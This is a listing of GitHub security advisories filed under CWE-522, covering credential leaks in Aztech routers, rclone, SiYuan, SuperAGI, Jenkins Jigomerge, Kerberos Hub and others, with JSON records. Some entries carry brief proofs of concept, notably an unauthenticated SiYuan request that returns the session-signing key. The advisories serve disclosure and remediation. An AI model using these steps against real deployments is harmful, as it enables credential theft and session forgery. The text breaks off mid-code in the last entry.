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Common Weakness Enumeration

CWE-522

Allowed-with-Review

Insufficiently Protected Credentials

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

1946 vulnerabilities reference this CWE, most recent first.

GHSA-H44Q-VVXG-Q9WR

Vulnerability from github – Published: 2023-02-23 00:30 – Updated: 2023-03-03 03:30
VLAI
Details

Aztech WMB250AC Mesh Routers Firmware Version 016 2020 is vulnerable to PHP Type Juggling in file /var/www/login.php, allows attackers to gain escalated privileges only when specific conditions regarding a given accounts hashed password.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2022-45599"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-22T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Aztech WMB250AC Mesh Routers Firmware Version 016 2020 is vulnerable to PHP Type Juggling in file /var/www/login.php, allows attackers to gain escalated privileges only when specific conditions regarding a given accounts hashed password.",
  "id": "GHSA-h44q-vvxg-q9wr",
  "modified": "2023-03-03T03:30:24Z",
  "published": "2023-02-23T00:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45599"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ethancunt/CVE-2022-45599"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H459-7MRX-8PVC

Vulnerability from github – Published: 2022-05-17 19:57 – Updated: 2024-04-03 23:59
VLAI
Details

rubygem-hammer_cli_foreman: File /etc/hammer/cli.modules.d/foreman.yml world readable

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2014-0241"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-12-13T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "rubygem-hammer_cli_foreman: File /etc/hammer/cli.modules.d/foreman.yml world readable",
  "id": "GHSA-h459-7mrx-8pvc",
  "modified": "2024-04-03T23:59:40Z",
  "published": "2022-05-17T19:57:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0241"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/cve-2014-0241"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2014-0241"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H4MF-4V27-HGGJ

Vulnerability from github – Published: 2026-08-05 20:36 – Updated: 2026-08-05 20:36
VLAI
Summary
rclone: WebDAV Credentials Survive a Same-Host HTTPS-to-HTTP Redirect
Details

1. Summary

WebDAV's default redirect handling can replay Basic authorization and configured Cookie headers over plaintext HTTP after a same-host HTTPS-to-HTTP redirect. This was reproduced through the real backend. Unlike the low-impact STS token in rclone's published S3 redirect advisory, Basic passwords and session cookies are complete reusable credentials, supporting a High rating when they grant normal WebDAV read/write access.

The credible threat requires a legitimate endpoint, gateway, or accelerator to emit an unsafe redirect and an adjacent/on-path actor to observe the plaintext hop. A report should not rely on a malicious original WebDAV endpoint because that endpoint already receives the credentials.

2. Affected Assets & Attack Surface

  • Backend configuration/authentication: backend/webdav/webdav.go:127-139, 170-206, 440-530
  • Shared redirect callback: lib/rest/rest.go:218-231
  • HTTP client: fs/fshttp/http.go:311-329
  • Credentials: Basic passwords, bearer authorization, SharePoint/session cookies, and configured secret headers
  • Confirmed affected version: <= v1.74.0-240

3. Technical Root Cause Analysis

PreserveMethodRedirectFn limits redirect count and restores the original method, but it does not reject a transport downgrade or compare the full origin tuple. The client therefore relies on Go's hostname-oriented sensitive-header forwarding rules. Those rules can preserve Authorization and Cookie on a same-host redirect even when the new scheme is plaintext HTTP.

4. Proof-of-Concept & Evidence

  1. Configure the actual WebDAV backend with Basic credentials and a Cookie.
  2. Have the TLS endpoint return 307 Temporary Redirect to an HTTP listener on the same hostname and a different port.
  3. rclone follows the redirect while preserving the WebDAV method.
  4. The plaintext listener receives both the Basic Authorization value and Cookie.

5. Impact Assessment

An on-path observer can reuse the captured password, bearer token, or session cookie for the account's permitted WebDAV operations. Confidentiality, integrity, and availability impact depend on that account's permissions.

6. Remediation Guidance

  • Reject every HTTPS-to-HTTP redirect before replay.
  • Forward authenticated requests by default only when scheme, hostname, and effective port are unchanged.
  • Strip authorization, cookies, proxy credentials, and configured secret headers on all other redirects.
  • Put necessary provider exceptions behind exact destination allowlists.
  • Cover 301, 302, 303, 307, and 308 in regression tests.
Severity
5.3 (Medium)
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.74.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rclone/rclone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.75.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-319",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T20:36:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## 1. Summary\n\nWebDAV\u0027s default redirect handling can replay Basic authorization and configured Cookie headers over plaintext HTTP after a same-host HTTPS-to-HTTP redirect. This was reproduced through the real backend. Unlike the low-impact STS token in rclone\u0027s published S3 redirect advisory, Basic passwords and session cookies are complete reusable credentials, supporting a High rating when they grant normal WebDAV read/write access.\n\nThe credible threat requires a legitimate endpoint, gateway, or accelerator to emit an unsafe redirect and an adjacent/on-path actor to observe the plaintext hop. A report should not rely on a malicious original WebDAV endpoint because that endpoint already receives the credentials.\n\n## 2. Affected Assets \u0026 Attack Surface\n\n- Backend configuration/authentication: `backend/webdav/webdav.go:127-139`, `170-206`, `440-530`\n- Shared redirect callback: `lib/rest/rest.go:218-231`\n- HTTP client: `fs/fshttp/http.go:311-329`\n- Credentials: Basic passwords, bearer authorization, SharePoint/session cookies, and configured secret headers\n- Confirmed affected version: `\u003c= v1.74.0-240`\n\n## 3. Technical Root Cause Analysis\n\n`PreserveMethodRedirectFn` limits redirect count and restores the original method, but it does not reject a transport downgrade or compare the full origin tuple. The client therefore relies on Go\u0027s hostname-oriented sensitive-header forwarding rules. Those rules can preserve `Authorization` and Cookie on a same-host redirect even when the new scheme is plaintext HTTP.\n\n## 4. Proof-of-Concept \u0026 Evidence\n\n1. Configure the actual WebDAV backend with Basic credentials and a Cookie.\n2. Have the TLS endpoint return `307 Temporary Redirect` to an HTTP listener on the same hostname and a different port.\n3. rclone follows the redirect while preserving the WebDAV method.\n4. The plaintext listener receives both the Basic `Authorization` value and Cookie.\n\n## 5. Impact Assessment\n\nAn on-path observer can reuse the captured password, bearer token, or session cookie for the account\u0027s permitted WebDAV operations. Confidentiality, integrity, and availability impact depend on that account\u0027s permissions.\n\n## 6. Remediation Guidance\n\n- Reject every HTTPS-to-HTTP redirect before replay.\n- Forward authenticated requests by default only when scheme, hostname, and effective port are unchanged.\n- Strip authorization, cookies, proxy credentials, and configured secret headers on all other redirects.\n- Put necessary provider exceptions behind exact destination allowlists.\n- Cover `301`, `302`, `303`, `307`, and `308` in regression tests.",
  "id": "GHSA-h4mf-4v27-hggj",
  "modified": "2026-08-05T20:36:10Z",
  "published": "2026-08-05T20:36:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/security/advisories/GHSA-h4mf-4v27-hggj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/59b513b0e74fd2943ccbb8891d5ce00f860e6d26"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rclone/rclone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/releases/tag/v1.75.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rclone: WebDAV Credentials Survive a Same-Host HTTPS-to-HTTP Redirect"
}

GHSA-H4V5-CRX2-3CV4

Vulnerability from github – Published: 2026-09-04 21:16 – Updated: 2026-09-04 21:16
VLAI
Summary
SiYuan: Non-administrator responses from /api/system/getConf omit three secrets that the configuration-export path explicitly strips, disclosing the session-cookie signing key and the OS username to anonymous readers
Details

CVE: This vulnerability corresponds to CVE-2026-72793.

Summary

/api/system/getConf is registered with CheckAuth only and is reachable by the publish RoleReader token, and anonymously when Publish.Auth.Enable is false. Its non-administrator masking chain is a blocklist that enumerates fields individually. Three fields that the configuration-export endpoint in the same file deliberately clears are absent from that blocklist and are returned to readers:

Field JSON What it is Cleared by exportConf at
Conf.CookieKey cookieKey The session-cookie signing key kernel/api/system.go:360
Conf.Export.PandocBin export.pandocBin Absolute path embedding the OS username kernel/api/system.go:338
Conf.NotebookCrypto notebookCrypto Encrypted-notebook key material kernel/api/system.go:360

The project has already classified all three as values that must not leave the server. The reader-facing path returns them.

Details

Route. kernel/api/router.go:70 : POST /api/system/getConf → model.CheckAuth → getConf. No CheckReadonly, no CheckAdminRole.

The masking chain, and what each stage covers. getConf masks through GetMaskedConf() → HideConfSecret() (non-administrators) → FilterConfByPublishIgnore() (readers) → a browser-request path strip.

  • GetMaskedConf: UserData, MCPOAuth, AccessAuthCode.
  • HideConfSecret: AI, Api, Flashcard, ServerAddrs, Publish, Repo, Sync, Secrets, Variables, and the System paths. No reference to CookieKey or Export.PandocBin.
  • FilterConfByPublishIgnore: UILayout only.
  • Browser strip (kernel/api/system.go:630-631): System paths only.

Each stage names fields explicitly, so any field nobody thought to add is returned by default.

1. CookieKey: the live session-signing key.

The value is passed straight into the session store at startup:

cli/cmd/serve.go:67          go server.Serve(false, model.Conf.CookieKey)
kernel/server/serve.go:152   sessionStore = cookie.NewStore([]byte(cookieKey))
kernel/server/serve.go:159   ginServer.Use(sessions.Sessions("siyuan", sessionStore))

gin-contrib/sessions/cookie.NewStore constructed with a single key uses that key as the gorilla/securecookie HMAC key. The siyuan session cookie is signed with the value this endpoint hands out, so an attacker holding it can mint and modify session cookies the server accepts as authentic.

Escalating a forged session to administrator additionally requires the forged SessionData to carry the matching AccessAuthCode which is masked or the instance to have no access-auth code configured, which is a common deployment. The unconditional impact, present on every instance, is disclosure of a persistent cryptographic secret to an unauthenticated party. Rotating it invalidates every active session, so it cannot be quietly refreshed.

2. Export.PandocBin: bypasses a shipped privacy control.

The field is an absolute path that embeds the OS username by construction:

conf/export.go:35        PandocBin string `json:"pandocBin"`
model/conf.go:430-431    if "" == Conf.Export.PandocBin { Conf.Export.PandocBin = util.PandocBinPath }
util/pandoc.go:154       PandocBinPath = filepath.Join(tempPandocDir, "bin", "pandoc.exe")
util/pandoc.go:134       tempPandocDir = filepath.Join(TempDir, "pandoc")
util/working.go:359      TempDir = filepath.Join(WorkspaceDir, "temp")
util/working.go:312      defaultWorkspaceDir = filepath.Join(userProfile, "SiYuan")

→ C:\Users\<username>\SiYuan\temp\pandoc\bin\pandoc.exe

This one is notable beyond the disclosure itself, because a control was shipped specifically to prevent it. kernel/api/system.go:630 adds, for browser requests:

if util.IsBrowserRequest(c) {
    maskedConf.System.WorkspaceDir = ""
    maskedConf.System.AppDir = ""
    maskedConf.System.ConfDir = ""
    maskedConf.System.DataDir = ""
    maskedConf.System.HomeDir = ""
}   // 避免泄露用户名等敏感信息

The comment states the goal plainly: avoid leaking the username and other sensitive information. The block enumerates only System.* and misses Export.PandocBin, which carries the same username through the same response. A publish reader is a browser request, so the System paths are blanked while export.pandocBin passes through intact. Where an administrator has configured a custom pandoc location, that path is disclosed instead still a filesystem-layout disclosure.

3. NotebookCrypto. Encrypted-notebook key material is likewise absent from HideConfSecret while exportConf sets it to nil. Reported previously and included here only because it is the third instance of the same root cause; the fix below closes all three together.

The root cause is the blocklist itself. exportConf (kernel/api/system.go:299) clones the configuration and clears each secret before returning it CookieKey, NotebookCrypto, Export.PandocBin, Account, Stat, System.ID, the AI keys. That cloner is the project's own working inventory of what must not leave the server. getConf's non-administrator path maintains a separate, shorter list that has now diverged from it in three places. Any future secret added to the config will default to exposed on the reader path unless someone remembers to extend the blocklist.

Proof of Concept

Precondition: publish mode enabled (default port 6808); anonymous when Publish.Auth.Enable is false, otherwise any publish reader account.

POST http://127.0.0.1:6808/api/system/getConf
{}

→ 200. The conf object contains:
     cookieKey          — the session-signing key, cleartext
     export.pandocBin   — absolute path containing the OS username
     notebookCrypto     — encrypted-notebook key material

Differential check against the endpoint that strips them, same instance:

POST http://127.0.0.1:6808/api/system/exportConf

→ cookieKey is empty, export.pandocBin is empty, notebookCrypto is null

The same three values are withheld by one endpoint and returned by the other.

Impact

An anonymous reader in publish mode or any publish RoleReader obtains the server's session-cookie signing key, permitting forgery and tampering of session cookies the server validates as authentic, with administrator authentication reachable on instances that have no access-auth code configured. The same response discloses the operating-system username and workspace layout, defeating a control added specifically to prevent that disclosure, and encrypted-notebook key material.

Suggested fix

Route non-administrator getConf responses through the exportConf cloner rather than extending HideConfSecret field by field. The cloner already handles every field named here and is the list the project actually maintains; keeping two divergent inventories of the same secrets is what produced all three gaps. If a targeted patch is preferred in the interim, clear CookieKey and NotebookCrypto in HideConfSecret and add Export.PandocBin to the IsBrowserRequest block, then audit the config struct for any remaining absolute-path or secret-bearing field.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260725132049-2d8b98395a91"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-72793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-04T21:16:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "**CVE:** This vulnerability corresponds to [CVE-2026-72793](https://nvd.nist.gov/vuln/detail/CVE-2026-72793).\n\n### Summary\n\n`/api/system/getConf` is registered with `CheckAuth` only and is reachable by the publish `RoleReader` token, and anonymously when `Publish.Auth.Enable` is `false`. Its non-administrator masking chain is a blocklist that enumerates fields individually. Three fields that the configuration-export endpoint in the same file deliberately clears are absent from that blocklist and are returned to readers:\n\n| Field | JSON | What it is | Cleared by `exportConf` at |\n|---|---|---|---|\n| `Conf.CookieKey` | `cookieKey` | The session-cookie signing key | `kernel/api/system.go:360` |\n| `Conf.Export.PandocBin` | `export.pandocBin` | Absolute path embedding the OS username | `kernel/api/system.go:338` |\n| `Conf.NotebookCrypto` | `notebookCrypto` | Encrypted-notebook key material | `kernel/api/system.go:360` |\n\nThe project has already classified all three as values that must not leave the server. The reader-facing path returns them.\n\n### Details\n\n**Route.** `kernel/api/router.go:70` : `POST /api/system/getConf` \u2192 `model.CheckAuth` \u2192 `getConf`. No `CheckReadonly`, no `CheckAdminRole`.\n\n**The masking chain, and what each stage covers.** `getConf` masks through `GetMaskedConf()` \u2192 `HideConfSecret()` (non-administrators) \u2192 `FilterConfByPublishIgnore()` (readers) \u2192 a browser-request path strip.\n\n- `GetMaskedConf`: `UserData`, `MCPOAuth`, `AccessAuthCode`.\n- `HideConfSecret`: `AI`, `Api`, `Flashcard`, `ServerAddrs`, `Publish`, `Repo`, `Sync`, `Secrets`, `Variables`, and the System paths. No reference to `CookieKey` or `Export.PandocBin`.\n- `FilterConfByPublishIgnore`: `UILayout` only.\n- Browser strip (`kernel/api/system.go:630-631`): System paths only.\n\nEach stage names fields explicitly, so any field nobody thought to add is returned by default.\n\n---\n\n**1. `CookieKey`: the live session-signing key.**\n\nThe value is passed straight into the session store at startup:\n\n```\ncli/cmd/serve.go:67          go server.Serve(false, model.Conf.CookieKey)\nkernel/server/serve.go:152   sessionStore = cookie.NewStore([]byte(cookieKey))\nkernel/server/serve.go:159   ginServer.Use(sessions.Sessions(\"siyuan\", sessionStore))\n```\n\n`gin-contrib/sessions/cookie.NewStore` constructed with a single key uses that key as the `gorilla/securecookie` HMAC key. The `siyuan` session cookie is signed with the value this endpoint hands out, so an attacker holding it can mint and modify session cookies the server accepts as authentic.\n\nEscalating a forged session to administrator additionally requires the forged `SessionData` to carry the matching `AccessAuthCode` which *is* masked or the instance to have no access-auth code configured, which is a common deployment. The unconditional impact, present on every instance, is disclosure of a persistent cryptographic secret to an unauthenticated party. Rotating it invalidates every active session, so it cannot be quietly refreshed.\n\n---\n\n**2. `Export.PandocBin`: bypasses a shipped privacy control.**\n\nThe field is an absolute path that embeds the OS username by construction:\n\n```\nconf/export.go:35        PandocBin string `json:\"pandocBin\"`\nmodel/conf.go:430-431    if \"\" == Conf.Export.PandocBin { Conf.Export.PandocBin = util.PandocBinPath }\nutil/pandoc.go:154       PandocBinPath = filepath.Join(tempPandocDir, \"bin\", \"pandoc.exe\")\nutil/pandoc.go:134       tempPandocDir = filepath.Join(TempDir, \"pandoc\")\nutil/working.go:359      TempDir = filepath.Join(WorkspaceDir, \"temp\")\nutil/working.go:312      defaultWorkspaceDir = filepath.Join(userProfile, \"SiYuan\")\n```\n\n\u2192 `C:\\Users\\\u003cusername\u003e\\SiYuan\\temp\\pandoc\\bin\\pandoc.exe`\n\nThis one is notable beyond the disclosure itself, because a control was shipped specifically to prevent it. `kernel/api/system.go:630` adds, for browser requests:\n\n```go\nif util.IsBrowserRequest(c) {\n    maskedConf.System.WorkspaceDir = \"\"\n    maskedConf.System.AppDir = \"\"\n    maskedConf.System.ConfDir = \"\"\n    maskedConf.System.DataDir = \"\"\n    maskedConf.System.HomeDir = \"\"\n}   // \u907f\u514d\u6cc4\u9732\u7528\u6237\u540d\u7b49\u654f\u611f\u4fe1\u606f\n```\n\nThe comment states the goal plainly: avoid leaking the username and other sensitive information. The block enumerates only `System.*` and misses `Export.PandocBin`, which carries the same username through the same response. A publish reader is a browser request, so the System paths are blanked while `export.pandocBin` passes through intact. Where an administrator has configured a custom pandoc location, that path is disclosed instead still a filesystem-layout disclosure.\n\n---\n\n**3. `NotebookCrypto`.** Encrypted-notebook key material is likewise absent from `HideConfSecret` while `exportConf` sets it to `nil`. Reported previously and included here only because it is the third instance of the same root cause; the fix below closes all three together.\n\n---\n\n**The root cause is the blocklist itself.** `exportConf` (`kernel/api/system.go:299`) clones the configuration and clears each secret before returning it `CookieKey`, `NotebookCrypto`, `Export.PandocBin`, `Account`, `Stat`, `System.ID`, the AI keys. That cloner is the project\u0027s own working inventory of what must not leave the server. `getConf`\u0027s non-administrator path maintains a separate, shorter list that has now diverged from it in three places. Any future secret added to the config will default to exposed on the reader path unless someone remembers to extend the blocklist.\n\n### Proof of Concept\n\nPrecondition: publish mode enabled (default port 6808); anonymous when `Publish.Auth.Enable` is `false`, otherwise any publish reader account.\n\n```\nPOST http://127.0.0.1:6808/api/system/getConf\n{}\n\n\u2192 200. The conf object contains:\n     cookieKey          \u2014 the session-signing key, cleartext\n     export.pandocBin   \u2014 absolute path containing the OS username\n     notebookCrypto     \u2014 encrypted-notebook key material\n```\n\nDifferential check against the endpoint that strips them, same instance:\n\n```\nPOST http://127.0.0.1:6808/api/system/exportConf\n\n\u2192 cookieKey is empty, export.pandocBin is empty, notebookCrypto is null\n```\n\nThe same three values are withheld by one endpoint and returned by the other.\n\n### Impact\n\nAn anonymous reader in publish mode or any publish `RoleReader` obtains the server\u0027s session-cookie signing key, permitting forgery and tampering of session cookies the server validates as authentic, with administrator authentication reachable on instances that have no access-auth code configured. The same response discloses the operating-system username and workspace layout, defeating a control added specifically to prevent that disclosure, and encrypted-notebook key material.\n\n### Suggested fix\n\nRoute non-administrator `getConf` responses through the `exportConf` cloner rather than extending `HideConfSecret` field by field. The cloner already handles every field named here and is the list the project actually maintains; keeping two divergent inventories of the same secrets is what produced all three gaps. If a targeted patch is preferred in the interim, clear `CookieKey` and `NotebookCrypto` in `HideConfSecret` and add `Export.PandocBin` to the `IsBrowserRequest` block, then audit the config struct for any remaining absolute-path or secret-bearing field.",
  "id": "GHSA-h4v5-crx2-3cv4",
  "modified": "2026-09-04T21:16:48Z",
  "published": "2026-09-04T21:16:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h4v5-crx2-3cv4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72793"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/2d8b98395a910251aea87e90a4fad9c7f954befe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/siyuan-before-information-disclosure-via-api-system-getconf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: Non-administrator responses from /api/system/getConf omit three secrets that the configuration-export path explicitly strips, disclosing the session-cookie signing key and the OS username to anonymous readers"
}

GHSA-H4X7-365Q-3RM3

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32
VLAI
Details

In version 0.0.14 of transformeroptimus/superagi, the API endpoint /api/users/get/{id} returns the user's password in plaintext. This vulnerability allows an attacker to retrieve the password of another user, leading to potential account takeover.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-9418"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-256",
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:48Z",
    "severity": "MODERATE"
  },
  "details": "In version 0.0.14 of transformeroptimus/superagi, the API endpoint `/api/users/get/{id}` returns the user\u0027s password in plaintext. This vulnerability allows an attacker to retrieve the password of another user, leading to potential account takeover.",
  "id": "GHSA-h4x7-365q-3rm3",
  "modified": "2025-03-20T12:32:51Z",
  "published": "2025-03-20T12:32:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9418"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/9a8118a2-ea32-41f5-b501-fef4f31d8213"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H5C5-MMGX-53H5

Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03
VLAI
Details

In Versa Director, Versa Analytics and VOS, Passwords are not hashed using an adaptive cryptographic hash function or key derivation function prior to storage. Popular hashing algorithms based on the Merkle-Damgardconstruction (such as MD5 and SHA-1) alone are insufficient in thwarting password cracking. Attackers can generate and use precomputed hashes for all possible password character combinations (commonly referred to as "rainbow tables") relatively quickly. The use of adaptive hashing algorithms such asscryptorbcryptor Key-Derivation Functions (i.e.PBKDF2) to hash passwords make generation of such rainbow tables computationally infeasible.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-25030"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-26T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In Versa Director, Versa Analytics and VOS, Passwords are not hashed using an adaptive cryptographic hash function or key derivation function prior to storage. Popular hashing algorithms based on the Merkle-Damgardconstruction (such as MD5 and SHA-1) alone are insufficient in thwarting password cracking. Attackers can generate and use precomputed hashes for all possible password character combinations (commonly referred to as \"rainbow tables\") relatively quickly. The use of adaptive hashing algorithms such asscryptorbcryptor Key-Derivation Functions (i.e.PBKDF2) to hash passwords make generation of such rainbow tables computationally infeasible.",
  "id": "GHSA-h5c5-mmgx-53h5",
  "modified": "2022-05-24T19:03:18Z",
  "published": "2022-05-24T19:03:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25030"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1168197"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H5G3-V72X-HC6F

Vulnerability from github – Published: 2022-07-01 00:01 – Updated: 2022-12-09 04:52
VLAI
Summary
Plaintext Storage of a Password in Jenkins Jigomerge Plugin
Details

Jenkins Jigomerge Plugin 0.9 and earlier stores passwords unencrypted in job config.xml files on the Jenkins controller where they can be viewed by users with Extended Read permission, or access to the Jenkins controller file system.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:jigomerge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-34806"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-256",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-13T15:41:52Z",
    "nvd_published_at": "2022-06-30T18:15:00Z",
    "severity": "LOW"
  },
  "details": "Jenkins Jigomerge Plugin 0.9 and earlier stores passwords unencrypted in job `config.xml` files on the Jenkins controller where they can be viewed by users with Extended Read permission, or access to the Jenkins controller file system.",
  "id": "GHSA-h5g3-v72x-hc6f",
  "modified": "2022-12-09T04:52:55Z",
  "published": "2022-07-01T00:01:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34806"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/jigomerge-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-06-30/#SECURITY-2083"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Plaintext Storage of a Password in Jenkins Jigomerge Plugin"
}

GHSA-H5GX-45RJ-2H5J

Vulnerability from github – Published: 2026-07-02 17:33 – Updated: 2026-07-02 17:33
VLAI
Summary
Kerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to redirect-following HTTP client without CheckRedirect
Details

Summary

The Kerberos Hub upload path sends the agent's Hub credentials in the custom X-Kerberos-Hub-PrivateKey and X-Kerberos-Hub-PublicKey request headers to the operator-configured Hub URL (config.HubURI). The HTTP client used (&http.Client{} in UploadKerberosHub) is constructed without a CheckRedirect policy, so it follows HTTP redirects automatically. Go's net/http strips only sensitive headers (Authorization, Cookie, WWW-Authenticate) on a cross-host redirect; it does not strip custom headers such as X-Kerberos-Hub-PrivateKey. As a result, if the configured HubURI returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522).

Impact

The Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured HubURI issues a cross-origin redirect. HubURI is operator configuration (models.Config.HubURI, JSON hub_uri); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device.

Vulnerable code (file:line)

machinery/src/cloud/kerberos_hub.go — the custom auth headers are set on a request to the operator-configurable config.HubURI, and the client follows redirects (no CheckRedirect):

    // Check if we are allowed to upload to the hub with these credentials.
    // There might be different reasons like (muted, read-only..)
    req, err := http.NewRequest("HEAD", config.HubURI+"/storage/upload", nil)
    if err != nil {
        errorMessage := "UploadKerberosHub: error reading HEAD request, " + config.HubURI + "/storage: " + err.Error()
        log.Log.Error(errorMessage)
        return false, true, errors.New(errorMessage)
    }

    req.Header.Set("X-Kerberos-Storage-FileName", fileName)
    req.Header.Set("X-Kerberos-Storage-Capture", "IPCamera")
    req.Header.Set("X-Kerberos-Storage-Device", config.Key)
    req.Header.Set("X-Kerberos-Hub-PublicKey", config.HubKey)
    req.Header.Set("X-Kerberos-Hub-PrivateKey", config.HubPrivateKey)   // line 63
    req.Header.Set("X-Kerberos-Hub-Region", config.S3.Region)

    var client *http.Client
    if os.Getenv("AGENT_TLS_INSECURE") == "true" {
        tr := &http.Transport{
            TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        }
        client = &http.Client{Transport: tr}
    } else {
